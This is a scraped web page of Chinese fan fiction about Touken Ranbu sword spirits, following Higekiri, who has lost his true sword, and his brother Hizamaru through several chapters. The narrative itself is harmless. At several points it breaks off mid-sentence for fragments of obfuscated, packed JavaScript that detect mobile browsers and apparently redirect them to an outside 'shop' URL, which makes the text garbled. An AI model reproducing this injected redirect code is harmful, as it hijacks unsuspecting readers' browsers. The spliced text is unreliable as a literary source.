l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734400|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种情况是髭切绝对不愿意看到的。 髭切站在山洞口,再一次细细确认了膝丸已经走远,就毫不犹豫地迈开步伐,向着与膝丸截然不同的方向离开。 嘛……虽然不告而别不是什么好习惯,但谁叫弟弟丸这么粘人呢?如果不这样做,大概会收到超级激烈的反对吧。 这同样也是为兄者才能体会到的甜蜜的烦恼啊。 髭切顶着夜风走出了不远的距离,时间逐渐趋近深夜,温度也随着降低,他默默裹了裹身上的外套,第一次觉得髭切的穿衣方式也许可以再稍微保暖一点……什么的。 已经这么远了,膝丸应该找不到了吧?髭切回望了一下来时的方向,稍稍安了些心,随后疲惫地靠着树,一点点缓缓地滑落在地上,连眼睛都不再想睁开。 好累啊。 说实话,他当然是舍不得膝丸的,这样……炽热而强烈的感情,他还是第一次感受到。 虽然伊达组带给了他初到人世的第一份爱,但那份爱的温度浅浅的,像是温水,就那样宽容地接纳着他,和膝丸给出的爱是截然不同的感觉,他不可避免地对这种新奇的体验产生了依赖。 以他当前的状况来看,在离开了膝丸之后,恐怕之后就都得一个人了。 髭切当时甚至差点成功把自己说服,告诉自己这是为了膝丸好,他只是不想就这么不告而别,让膝丸失去哥哥,而且膝丸身上的问题还没得到解决,他只是担心膝丸……之类的理由。 但还好……作为哥哥的责任感还是把他掰回了正轨。 如果他真的愚笨到没能想到这一层,那他当然可以再心安理得地留在膝丸身边。但很可惜,现在看来,哪怕他毫无记忆,也顺利继承了几位刀子精的心计。 在已经知晓后续的危险的情况下,他再这样继续装作一无所知地留下来,把危险带到膝丸身边,那他一定不会原谅自己的,绝对。 可就这样离开了现在唯一一个能让他安心的地方,即使他想装作毫无波澜,也根本做不到吧? 也许是夜风实在太冷了,髭切有些发抖,轻轻地躺在树根下,蜷缩成一团,决定以这种方式快点度过这个难熬的夜晚。 …… 另一边的膝丸总有种不妙的预感,出行前兄长的样子就足够反常,他当时虽然有些不安,但也不可能因为这种虚无缥缈的感觉就强行留下来。 但是现在,心脏一直不停地激烈跳动,无比强烈地向他发出预警。 绝对,发生了什么! 于是他毫不犹豫把那堆碍事的鱼全都随手扔掉了,转头急切地向着原路折返。 他甚至慌乱到来不及调整脚步,险些摔倒在地上,连呼吸都乱成一团,就这么跌跌撞撞地冲进了山洞里。 山洞里安静的可怕,完全没有活物活动的声音。就算是髭切已经睡着了,听到膝丸这么大的动静也不可能没醒,此刻,他无比希望兄长能出现调侃他几句,但。 ——没有! 髭切不在这里! 23.失去本体刀的髭切 膝丸被巨大的恐慌感笼罩,心里猛的缺了一块。 他当然知道髭切没有那么脆弱,即使他不在身边,也不可能这么快就出意外,可是…… 可是这振兄长不一样! 膝丸从显形以来,还没有机会和不同的髭切相处,目前这振特殊的髭切就是他唯一见过的分灵,因此他对髭切的印象还依旧停留在本灵时期。 其实无论是失忆,还是髭切身上无处不在的异常,都一直提醒着他一定要多加注意,可对“髭切”的信任还是让他难免有了疏忽。 他总有一种隐隐的预感,如果没能在今晚结束前找到髭切,那恐怕以后就再也没机会再见面了。 想到这里,他毫不犹豫地转身离开了山洞,然后跟随着直觉拔腿迈向了某个方向。他不知道朝这个方向迈出脚步,究竟能不能找到髭切,但是他知道,如果再不迈出脚步,就真的再也见不到髭切了。 膝丸照着月光出发,毫不在意地翻越了路途中的一道道阻碍。他绕过密集的藤蔓,拨开扎手的树丛,翻找着沿途的每一个角落,试图从中寻找到髭切留下的痕迹。 他愤怒而担忧地寻找着每一处可能留下痕迹的地方,疲惫地喘着气,格外在意整洁的他完全忽视了每一处脏污,只想以最快的速度寻找到兄长的踪迹。 可找不到,哪里都没有。 他找不到,哪里都找不到。 髭切就像是人间蒸发了一眼,没有留下任何痕迹。 膝丸知道髭切是自己离开的。现场没有留下打斗痕迹,如果真的是有危险,髭切不可能简单地直接束手就擒。 而如果是有安全的离开方式,髭切也不可能一声不吭地离开留他自己担心,至少会等到他回来。 所以髭切离开,只是为了躲着他,不让他知道而已。 可是为什么?膝丸想不明白。 他无助地,像是被抛弃了一样,露出了迷茫的神色。 时间毫不等人,温度越降越低,夜晚也越来越深,他几乎以为只能这样了,他再也见不到这振特殊的,他所认识的,相识的兄长了。 他甚至怀疑自己是不是完全找错了方向,否则怎么能一点痕迹都找不到? 他不抱希望地最后一次拨开了树丛。 却偏偏就在这时见到了出乎意料的身影。 白色的,蜷缩成一团的髭切,他所寻找的身影,就这样出现在他眼前。 其实髭切也被吓了一跳。他听到粗重的呼吸声和脚步声,还以为是哪里来的野兽,刚做好心理准备认命地睁开眼,却没想到映入眼帘的是那抹熟悉的绿色。 他不可置信地揉了揉眼睛,试图告诉自己这只不过是他做的梦,可眼前的景象没有任何变化,他完全没办法欺骗自己。 ……不是吧,怎么会追到这里来,他明明已经走的那么远了。 膝丸的反应比髭切激烈多了。他生怕眼前的身影再一次消失,一点都不敢耽搁,直直地冲到髭切面前,用最大的力气,牢牢地将髭切圈在了他的怀抱中。 髭切吃痛地发出一声轻嘶,没想到膝丸会这么激动。 看来膝丸又要哭了呢。髭切无奈地想。 他刚想开口调侃两句膝丸的粘人,连这么远都追过来了,却发现好像不太对劲。 ……这次好像是真的哭了。髭切感受到肩侧的濡湿,身体僵在原地。 他愣了一下,随即迟疑地抬起手,一只手环上膝丸的后背,另一只手一下、一下地轻轻抚着膝丸的脑袋,试图安抚情绪激动的弟弟。 “好啦,好啦,我在……” 结果哭的更凶了?! 髭切手忙脚乱地不知道怎么才能哄好情绪激动的膝丸,毕竟哪怕是髭切本刃也不一定有多少这种经验吧?不过就在他苦恼时,膝丸已经自己冷静了下来。 他动作轻柔地退出了髭切的怀抱,站定在髭切面前,却伸出手不容置疑地抓住了髭切的手腕。 他把髭切从地上直直拽起来,然后向着来时的方向走去。 髭切对膝丸的行动毫无准备,就这样被拽得一个趔趄,但前方的膝丸在察觉到后却丝毫没有停下来的动作。 ……生气了啊,膝丸。 能惹膝丸生气的髭切,还真是……说出去都没几个人会信吧? 髭切低头看着被膝丸牢牢牵着的手腕。 嘛…… 真是没办法,既然是哭哭丸离不开他,那就只能先留下来了吧? …… 是真的生气了! 膝丸从回来以后就手一甩,对髭切一副爱答不理的样子,哪怕髭切一直围着他喊膝丸都丝毫不为所动,活像个没开机的小雕塑。 别的源氏兄弟要是看见这一幕,八成得惊掉下巴,当然,这个反应仅限膝丸,髭切大概会在一旁笑眯眯地看热闹不嫌事大。 髭切倒也不是不能理解,毕竟刚刚才在自己面前掉了眼泪,生气叠加上羞耻,现在的膝丸恐怕比当众表白被拒绝的小可怜还要难哄。 要怎么哄弟弟开心? 好问题,如果现在把这个标题的帖子挂在刀剑男士论坛上,恐怕会有一大堆的一期一振抢着进行回答。 但可惜现在需要这个问题答案的人不是小短刀们的哥哥,是这么一大只太刀的兄长。 髭切盯着膝丸的背影,试探着往前走了两步。 膝丸好像背后长了眼睛一样,随着髭切的动作也往前走了两步。 “那个,膝丸……” 膝丸立刻死死捂住了耳朵,表示了拒绝对话。 髭切:? 髭切眼看膝丸这幅难搞的样子就是一阵头疼,实在不知道做些什么才行的他决定,直接触发膝丸的底层代码。 他直接迈步到膝丸面前,掰开了膝丸捂着耳朵的手。说真的,他的动作没费多少力气,即使是生气也很顺从兄长呢,膝丸。 膝丸的视线迟迟不愿和髭切对上,哪怕是盯着地面也不肯抬头,对此,髭切选择使用同样的招数。 直接自己伸手把膝丸的头抬了起来,强行对视。 “膝丸。” “……”膝丸的眼神颤了一下。 “膝丸——” “……”膝丸的态度似乎有些犹豫了。 “膝——丸——” “我、我知道了……”膝丸松口了。 得逞的髭切满意地点了点头。 膝丸深呼吸了一口气,勉强把心情平复了一些,主动和髭切对视上,提出了他的疑问。 “为什么突然走掉了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740012|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他的眼眶在问出这句话的瞬间又一次红了。“而且是特意躲着我走掉的吧?为什么?” “是我哪里做的不好吗?”他想到最开始髭切有些警惕的样子。 膝丸一旦开了个头就越来越激动,问题一个接一个被抛出来,髭切完全不知道要从哪里开始回答。“我有做什么让你害怕了吗?是我……” 髭切头疼地伸出手捂住了膝丸的嘴。 虽然膝丸平时都很靠谱,但在有关兄长的事上总会有些失去理智呢。 他作为兄长能感受到弟弟的在意当然很受用,但也不想看膝丸难受的样子啊。 “和膝丸没有任何关系。”他露出一个温和的笑安抚膝丸。 既然他没办法像真正的髭切那样安排好一切,就干脆全盘托出吧,虽然他暂时还做不到成为一个可靠的兄长,但至少可以做到不给弟弟添麻烦。 “不知道你有没有猜到这一点,我的处境很危险。”髭切努力地组织语言。“如果我继续留在这里,你可能会和我一起碎刀。所以……” “可以。” “……为了你的安全……诶?”髭切被这个肯定且急切的回答震得一愣。 “那我就跟着兄长一起碎刀!”膝丸的眼里是髭切看不懂的愤怒。“难道要我明知道这件事,还对陷入危险的兄长不管不顾吗?!” “不,等等,我不是这个意思……”髭切听到这里终于意识到了什么,慌乱地开始否认。 “就是这个意思!” “我不知道兄长究竟忘掉了多少,把我也忘了吗?把源氏也忘了吗?连自己是谁也真的忘记了吗?这些东西兄长都没有透露给我,一点也没有。” “虽然我还是觉得记忆很重要,但是,兄长一直都说过的吧,记忆这种东西,总是掺杂着逸闻和错乱,是否记得是否真实又有什么关系呢?” “……” “只要身边的在意的人是真实存在的就好了吧?哪怕真的全都忘记了,我也不能放任兄长独自面对危险啊。” 真是的,又是这样,明明才第一次见面吧?只是因为他的身份,就可以为一面之缘的家伙付出这么多吗?明明只要乖乖的别再来找他,以后还有机会见到别的髭切吧? 髭切无奈又感动地摸上了膝丸的脑袋,他绝不会承认自己是趁这个机会在占可爱的弟弟的便宜的。 “我明白了,不过一起碎刀还是免了吧?” “……”很好,无声的抗议。 髭切拒绝再继续这个不会有结果的对话。 “该睡觉了吧?” 看着膝丸依旧不为所动的身影,髭切发动了自己优秀的语言天赋。 “哎呀……撒娇丸这么大了还要哥哥抱着睡吗?好吧,好吧,那来哥哥怀里吧?” “……兄长!”髭切满意了。 膝丸顺从地躺在了髭切身侧,但只留给了髭切一个背影。髭切知道这是膝丸还在闹脾气,不过即使闹脾气也没有离他太远呢,还真是可爱。 “晚安,膝丸。”髭切带着笑意看着膝丸留给他的背影。 “……晚安,兄长。” 虽然矛盾完全没有得到解决,两刃也都没有得到自己想要的结果,但至少,先睡个好觉吧。 晚安。 24.失去本体刀的髭切 距离那天髭切主动离开已经过去了几天的时间,虽然根本没有一个正式的谈心和收尾,但两刃还是很默契地都没再提那件事,也或许只是膝丸不愿意让髭切为难而已。 最近依旧没什么发现,只能在这附近随手抓点野果吃,毕竟是刀剑付丧神,哪怕不吃饭也是可以的,也就不讲究什么营养均衡了。 ……话是这么说,但以膝丸的性格,只要有办法改善现在的状况,他怎么可能不去找来。 唯一庆幸的大概就是,膝丸的脾气来得快去得也快,不过两天就不再生气了。 也或许是被髭切的一口一个“膝丸”完全击晕了吧?总之到现在,两刃的相处模式已经恢复如初,只是膝丸看他看得更紧了点。 ……好像也不是很庆幸了,因为这个他这几天根本没有找到机会离开。 膝丸的情绪阴沉起来,但也实在是没办法,这鬼地方跟原始社会没什么区别。 迟迟等不到出阵的部队不说,毕竟也不是每个小队都能摸索到这么偏僻的地方,最重要的是连本时间线上的居民都接触不到。 不得不着急了啊,他自己倒是没什么关系,反正审神者的灵力链接也不会断掉,但兄长…… 膝丸感到一股烦躁,担忧地看向髭切。 也不知道兄长身上的灵力还能坚持他显形多久。 他的审神者这次有些反常,以前哪怕再不想见到他,至少把他扔出来一段时间后还会叫人接他回去一次,以防时政定期检查出现纰漏,这回的时间实在有些过长了。 是本丸出什么意外了吗?虽然他不是很认可这位审神者,但至少那也是他现在的主君。 “嗯……”膝丸回过神时,看到的就是在他面前直直盯着他的髭切。“回神了?” “……啊,兄长?怎么这样盯着我?”膝丸有些意外。因为他发现其实这振髭切不太爱说话,这是膝丸观察了几天得出的结论。 虽说一般的髭切其实也不是话多的类型,但也没安静到这种程度。也不知道是分灵个体差异,还是失忆带来的影响。 总之,因为这个原因,膝丸对髭切现在的行为还是有些诧异的。 “也没什么,只是你看起来有些反常呢。”反常到连他都忍不住开口的程度。 “这样啊……请放心,什么事都没有。”膝丸摇了摇头,把脑中的顾虑都暂时甩了出去,重新挂起了自信的微笑面对髭切。 髭切完全不吃这套,他隐约察觉到有些不对劲,也不打算对此保持沉默。 “完全不是这样的吧?”他开口反驳。“你看起来比前几天焦虑多了,是有什么正在顾虑的事吗?” 髭切停顿了一下,看着膝丸有些怔愣的神情,决定不给他反应的机会,乘胜追击。 “还是说,你有什么连我都必须瞒着的事吗?” 髭切现在的气势实在太足,配上他强势的话语,膝丸只能慌乱地垂下了头,努力地寻找着可以搪塞过髭切的理由,不敢和目光沉沉的髭切对视。 但连他自己也清楚,这样最多也只能拖延一会时间而已,毕竟膝丸实在不太会在髭切的面前撒谎呢。 膝丸不停地躲避着髭切的视线,试图逃过这次猝不及防的逼问,但被烛台切光忠他们锤炼过的髭切怎么可能给他这个机会。 他最清楚了,只要没能在现在彻底问清楚,之后这家伙绝对会闷声干大事或者想些莫名其妙的东西。 就在这时,附近传来了时间溯行军的吼声。 ……怎么偏偏这个时候来,坏他好事! 髭切愤愤地起身,看着膝丸眼前一亮的神情,控制不住地有些气闷。这小子……以为他在干嘛啊?这么问还不是担心他,被打断了还这么高兴…… 算了,先搞清楚现在的状况吧。 髭切认真分辨着当前的危险程度。 时间溯行军不会单独降临在这种地方,这个时空一定在刚刚出现了另一队的刀剑男士,但从现在还没有出现刀剑碰撞的声音来看—— 很倒霉,这些时间溯行军大概率是锁定到他和膝丸了。 听着逐渐逼近的时间溯行军特有的嘶吼声,髭切忍不住落下一滴汗。 ……饶了他吧,如果还是鹤丸的时候也许他还能勉强帮上点忙,起码逃跑的速度很快不会拖后腿,但现在他完全什么都做不了啊。 现在轮到膝丸担忧髭切的状况了。 膝丸看着髭切紧张的姿态,根本不知道发生了什么,只能担忧地赶在时间溯行军到来前问询。 “兄长……?” “……” 髭切完全没有心思回答。因为他刀鞘内的根本不是刀,而是他在这段时间自己削的木条。 本来以为再这样装上几天就好了,只要遇到了出阵的刀剑男士,马上就能安顿好膝丸,也就没想过向膝丸坦白实情,但却没想到一直拖到了现在意外发生,都没能等来想见的人。 ……不,他早该料到的。和上次一样,出阵就是那群人盯上的机会,这不是运气问题。哪怕他什么都不打算做,那群人也会找机会主动出手! 现在的时机,已经完全不适合向膝丸解释这件事了。 “膝丸。”髭切眉头一紧,直接拽起了膝丸的手腕。 “是?”膝丸有些欣喜于髭切又一次喊对了他的名字,但同时也完全不理解现在的状况,毕竟在他的视角里,不过是一队时间溯行军罢了。 如果他一刃碰上或许还会有些风险,但只要和髭切一起,那这些风险就可以忽略不计了。 毕竟在这几天的相处中也能观察出来,髭切的反应能力不差,虽然还赶不上他,但等级一定也是不算低的。哪怕现在受了伤,等之后找到出阵的那一队刀剑男士,再进行求助也是可以的。 那么髭切为什么还要这么紧张? “我知道你有很多疑问。”髭切紧了紧自己握住膝丸的手,毫不犹豫地向着相反的方向冲了出去。“但是现在,跑!” 否则膝丸一刃绝对会碎刀的! 他几天前尝试离开时就想过,他作为鹤丸时基本一直都在地葵的本丸内,只不过刚露了头都能被那么快锁定。 那现在的他在野外滞留了这么长时间,背后的家伙没理由找不到他。想必早就有了线索,只是等待一个时机,现在的……恐怕不会是普通的时间溯行军。 膝丸把自己的疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741653|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抛到脑后,在起跑没几步后就调转了位置,转由他在前方带着髭切奔逃。 虽然他不明白现在的状况,但作为膝丸,他自然不会质疑兄长的决定,哪怕有再多的疑问,只要先听从就好了,一直以来都是这样的。 膝丸明显比髭切要更灵敏多了,相当自如地带着髭切穿梭在复杂的林海中,但髭切清楚这样依旧拖不了多久。 时间溯行军的声音并没有被甩开,反而越逼越紧,髭切意识到不能再拖下去了。 “膝丸!”髭切一咬牙,叫停了膝丸,直接拔出了刀鞘内的木芯暴露在膝丸面前。“只能靠你一个人,所以,千万小心。” 他清楚膝丸不可能抛下他离开,既然这样,不如把隐患现在就告诉膝丸,防止等下的措手不及。 拜托了,那队不知道是谁的刀剑男士……千万要快点找到这里啊。 膝丸震惊片刻后眼神复杂地看向髭切,但也清楚现在不是谈话的时机,立刻拔出刀击飞了袭来的刀光。 “我明白!兄长,请务必保护好自己!” 虽然不知道膝丸又想到了什么,但就现在的状况而言,他只要知道听话就好了。 ……真该死!早知道前几天就避开那个山洞了!他自己死了还有下一次机会,膝丸要是碎了他可一点办法也没有啊。虽然这么想很对不起真正的髭切,但总比连累膝丸好。 髭切只能在一旁看着膝丸跟那队时间溯行军展开搏斗,努力保全自己,不求帮上忙,至少不能受伤让膝丸分心。 好在膝丸的能力比他想的还要强,用中伤的代价就解决了四振敌刀,但面对最后两振时,膝丸明显力不从心了。 髭切无可奈何地燃起了生气的情绪,也不是气那队刀剑男士到现在还没找过来,只是气自己什么都帮不上忙。 就在这时异变突生,一招没能防住的刀光砍向膝丸。膝丸也注意到了,但体力不支的他动作迟缓下来,明显来不及阻止。 髭切瞬间意识到一件事。 绝对不能让它伤到膝丸! 这些时间溯行军还不知道是不是最后一次到来,如果背后那群人有办法确认他还没死,一定会想方设法再找过来。 如果膝丸吃下这一击,状态会立刻变成重伤,都不说下一次危险到来时,哪怕是这一次都绝对没机会离开了。 所以——髭切几乎没有经过思考地冲上前,挡在了膝丸面前。 “兄长!” …… 痛死了…… 他甚至也想调侃一下自己了,无论是作为鹤丸还是髭切,最有用的时候总是在爆发机动值呢,如果他能有自己的本体,八成会是把短刀吧。 刀刃贯穿了髭切的腹部,沿着刺入的方向被带出几滴血珠,洒落在身后的膝丸身上。膝丸的瞳孔一瞬间放大,将这幅场景深深地刻在眼中。 其实此刻的膝丸已经浑身是伤,不过是溅上几滴血,无论怎么看都并不明显,甚至可能不会被发觉。但在膝丸眼中,那几滴血可以说是极其刺目。 膝丸趁着髭切创造的机会,用最快的速度解决掉了剩下两振敌刀,随后转身看向髭切。 ……表情真是严肃啊。 25.失去本体刀的髭切 髭切看着膝丸沉重的表情,本想开□□跃一下气氛,调侃膝丸是不是又要变成哭哭丸了?但腹部传来的剧痛让他被迫闭上了嘴。 哎呀……抱歉,看来力不从心呢。 髭切忍着痛楚,在膝丸的搀扶下缓缓地坐到地上。 敌刀被消灭后,在髭切腹部的刀自然也就消散了,没有被堵住的伤口开始涓涓地流出血液,不过片刻就浸湿了髭切的衣装。 膝丸咬着牙看在眼里,急切地扯破了身上的衣服,裹在髭切的腹部。 受伤对刀剑男士而言是再不过正常的事,但现在的情况尚不可知能不能成功联系到那队出阵的刀剑男士。更重要的是,现在的髭切陷入了重伤状态,已经无法行动了。 如果他独自离开,那么回来时就不知道能不能再见到髭切了,别说是活着的髭切,连刀剑碎片都不一定能留下。 髭切已经因为失血变得意识不清,眼神都不是那么清明了。 拥有人形就是这一点不好,连状态都会跟着这些生理反应持续恶化。 膝丸想到髭切刀鞘中的树枝,眼神一暗。 他清楚现在的髭切无法回话,只能再一次承担起决策的责任。 他甚至没有浪费时间扯来附近的灌木做遮挡,因为浓烈的血腥气是无论如何都是掩盖不住的,比起做这项无用功,不如快点去寻找获救的可能性。 “……要撑住啊,兄长。” 他的声音里带着咬牙切齿和心痛,最后深深地看了一眼髭切,转身走远了。 膝丸运气很好,凭着直觉选出的方向竟然真的是通往大路的,不远处就是正在搜寻异常的刀剑男士。 “刚刚的声音就是这边传来的吧?”鲶尾藤四郎翻找着草丛。 “不管怎么说草丛里也不可能藏人吧?”乱藤四郎拽着鲶尾藤四郎的衣领把他拖回了队伍。 “出阵变成搜寻了吗……唉,这种事可不是我擅长的啊……”明石国行叹了口气。 膝丸眼前一亮,立刻穿过中间挡路的灌木,跑向声音传来的方向。 几刃见到浑身是血的膝丸都被吓了一跳,这振马上就要重伤的膝丸是怎么回事啊?!难道这次目标的时间溯行军就是被他自己解决的吗? 反应过来的众刃手忙脚乱地上前,想劝膝丸先别乱动了,哪怕是他们,如今拥有人身了也是能感觉到痛处的啊,却被膝丸直接制止下来了。 膝丸的神色焦急,就算是鲶尾藤四郎都看出了事态紧急的程度,收起了轻松的表情。 “麻烦先跟我走。”膝丸直接提出了请求。“具体的情况我会在路上说清楚的。” 几刃眼看膝丸已经是这种状态,哪还会有不同意的想法,毫不迟疑地跟上了膝丸的身影。 然后见到了躺在血泊中的髭切。 血已经几乎染透了髭切身下的一片区域,扩散出不小的一片范围,髭切白色的衣装几乎完全被染成血色,连与地面接触的头发都已经被浸泡了个彻底。 这个出血量……真的假的?! 如果不是髭切还维持着人形,他们真的很怀疑髭切真的还活着吗? 队伍后方的莺丸走上前,在看到这幅场景的瞬间立刻做出了决定,他取出时空转换器,连带着髭切和膝丸一同带回了本丸。 这个本丸的刃数很多,但是出于审神者的职位特殊,基本上所有刃都忙得不可开交,白天除了近侍和出阵队伍都见不到什么刃。 因此,其实出阵的众刃都没什么兄弟在本丸内,所以也就没有人来迎接出阵队伍。 意外的是降落后身旁有一振不在出阵队伍中的鹤丸国永。 “哟,回来了……?这两振髭切和膝丸是怎么回事?”鹤丸国永本来只是因为手头的工作已经做完,又没能排上出阵,想着反正大家都没什么兄弟在场,就留在这里迎接一下出阵的刃好了,没想到会碰上这么个大惊吓。 “暂时还不知道呢。”莺丸再一次掌管了话语权。 鹤丸国永和明石国行自觉地接过了安顿两刃的职责,让莺丸放心地去往天守阁汇报。虽然也想过交给短刀来做这件事,不过短刀的身高恐怕要把髭切拖在地上了,出于各种方面来说也还是交给太刀们更好一点。 鹤丸国永不敢耽搁,接过髭切的第一时间就往修复室狂奔,要是再慢一点,他是真怕髭切就这么当场碎刀了。 膝丸被落在后面虽然着急,但也知道自己各方面都已经快到极限,确实没办法强行接过髭切,不然恐怕兄弟俩得一起摔在地上,所以只能一言不发地盯着鹤丸国永的背影。 “我说你啊……啧,我的人设可是没干劲啊,怎么还要做这种事。”明石国行看了一眼面露不甘的膝丸,忍不住叹了口气。“不管你在想什么,还是保证安全之后再说吧?” “现在要是做出什么事,我可不想去拦你啊。” …… 膝丸的伤势倒是好处理,出于他实在不愿意离开髭切,鹤丸国永只把他的本体放进了修复池。反正修复液作用在人身上的效果不强,总体来说也就没什么太大的区别,那还是不要刺激这振膝丸了。 但髭切……他们没发现髭切的本体刀,一旁的膝丸也不愿意开口,他们就只能直接把髭切的人身放在修复池中。 虽然这样修复效果会大打折扣,但现在也只有这种办法了。 药研藤四郎看着膝丸在修复池旁守着髭切的背影,头疼地拉上了门,转身询问起身旁的鹤丸国永。 “这是什么情况?” “我也不知道。”鹤丸国永举起双手作投降状。 “连把他们捡回来的莺丸都不知道情况呢,毕竟……”鹤丸国永眼神指向修复室的两刃。“这种情况,也确实没办法搞清楚情况再回来吧?” 药研藤四郎点点头,认可了鹤丸国永的话。 “这振髭切殿没有本体刀,这件事你们知道吗?”药研藤四郎皱着眉,忍不住提问。 其实鹤丸国永当时也被吓了一跳。 没有本体刀这种事怎么可能?他们虽然现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750497|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显形拥有了人身,但本质上来说,刀剑才是他们的本体,从他们碎刀后只会留下刀剑碎片这一点就能看出来。 如果真的失去了本体,那么只有两种可能。 第一,髭切的本体被强行留在了其他地方。 第二,髭切真的失去了本体,如果是这一点……说实话,他们实在想象不到髭切经历过什么。 稍微有些沉重了啊。 能让这对兄弟这么狼狈的时候可以说是非常罕见了,在他们目前的印象中,以及刀剑男士论坛中都没有见过类似的情况,一时间都有些不知道怎么处理了。 连髭切都没办法自如应对的家伙啊……还真难想象是什么程度的人渣。 “不过说起来,现在竟然还有这么多虐待刀剑的行为吗?”药研藤四郎陷入思考。“明明本灵那边已经表达过生气,出手警告了很多个家伙吧?” 尤其是一期一振。 出于粟田口的刃口数目巨大,且基本上都是短刀,还都是极易获得的刀剑,基本上所有被查出虐待刀剑的本丸内,受害刀剑名单里都有粟田口的刀。 有很多个一期一振在忍无可忍后选择了自我折断,将记忆传回了本灵,试图强行唤醒沉睡中的本灵,而本灵接收到了太多这样的记忆也如愿醒来,在气愤中斩了很多家伙呢。 “是呢,不过人类就是这样啊,只要有机会就不会放弃吧?总会赌自己是那个幸运的家伙呢。”鹤丸国永发出了感叹。 哪怕他们已经相伴人类千百年,也还是无法理解人渣的想法,也不知道是付丧神的品格过于高洁,还是刀剑与人不可避免的代沟。 这时两刃中间突然出现了一个脑袋。 “哟!鹤丸先生,药研!”鲶尾藤四郎露出了一个大大的笑容。“主人让我来问问情况!” “这个啊……暂时没有头绪呢。”药研藤四郎示意鲶尾藤四郎自己拉开门。 鲶尾藤四郎想到出阵时看到的场景,也大概有了心理预期,却没想到在他准备上前的前一刻,膝丸从内一把拉开了修复室的门。 “我有话想向这个本丸的审神者说。” …… “不是同一个本丸的?”审神者铃兰身体前倾,坐直了身子。 “是……我是有所属本丸的,兄长是我在出阵期间遇到的,但我并不知道兄长是来自哪里。”膝丸如实汇报了一部分。 铃兰想要开口,但却被身旁担任近侍的山姥切国广拦下。 “那么,你的本丸呢?为什么没有把髭切带到你的本丸?”山姥切国广目光如炬,丝毫看不出平时内敛的样子,强势地抛出了疑问。 “……我没有时空转换器。” “诶?” 膝丸深呼吸了一口气,挣扎着做好了心理准备,说出了实情。 “大概是……冷遇吧。” “我的审神者很排斥太在意其他人的刀,所以一直都让我长期出阵,如果没有刃来接我,我是回不去本丸的。” “诶???” 26.失去本体刀的髭切 “不,请等一下,这已经完全不止是冷遇的范围了吧?难道膝丸殿没有想过投诉给时政吗?” 这下山姥切国广完全拦不住了,铃兰着急地询问出声,不难看出她对刀剑们的在意。山姥切国广在一旁着急地不知所措,对自家审神者毫不配合的态度非常头疼。 “……没有。”膝丸尴尬地回复,看得出来,他本来没打算把这件事说出来。 因为兄长并没有去到他的本丸,而膝丸本刃对冷遇也并不怎么在意,所以也就完全没想过做这种事。 铃兰只觉得一股气血直冲脑门,忍不住扶额。 刀剑男士们对在自己身上发生的事情包容度还是太高了,除非恶劣到连他们都无法忍受,否则只要这样的对待没有发生在家人身上,基本就不会有什么反抗的想法。 如果付丧神们能更多地在意一点自己,搜查队的工作难度一定会减轻很多的。 “那髭切的本体?” “我不知道。”膝丸同样迷茫地回答。“兄长从来没在我面前暴露过这件事,是因为当时被时间溯行军追上了,才不得不告诉我的。” 令人头疼的状况。 铃兰不再多说,直接向山姥切国广安排下去,让他给髭切和膝丸安排了临时安顿的部屋,就让膝丸暂时离去了,毕竟膝丸很担心髭切吧。 “啊,忘记问膝丸的本丸编号了。”铃兰后知后觉。 “就算问出来了,也没有时间去调查吧。”山姥切国广有些赌气地看着手中的文件。“最近的搜查工作已经都排满了。” …… 事情接连发生,密集到让人对时间的感知都不太明确,膝丸直到走出天守阁时才发现时间已经到了晚上。 膝丸看着降临的夜幕有些疲惫,但想到还受着伤的兄长又打起精神,可不能让兄长看见这幅样子啊。 他匆忙地赶回了修复室,却没找到髭切的身影,不仅如此,连鹤丸国永和药研藤四郎也不知所踪。 兄长呢?!深知髭切已经有过一次先例的膝丸指甲深深掐紧掌心,咬住了发白的嘴唇,毫不犹豫地转身又一次踏上了寻找兄长的道路。 修复室内间的药研藤四郎听到声响,走出后却只能看见膝丸留下的背影:? 于是铃兰的本丸内出现了这样的奇观。 一振完全不认识的膝丸游荡在本丸内四处寻找着兄长。 另一边,被膝丸满本丸到处寻找的髭切此时正在老头快乐桌前。 “不,我还暂时不算老头吧?”髭切发出了抗议。 “是呢。” “确实啊。” 三日月宗近和莺丸附和着回话。 两刃原本对髭切还带着些警惕,所以三日月宗近工作结束后就马不停蹄地拉着莺丸,把髭切带出来开了这个小型茶会。没办法,老爷爷在这种时候也不得不靠谱起来了呢。 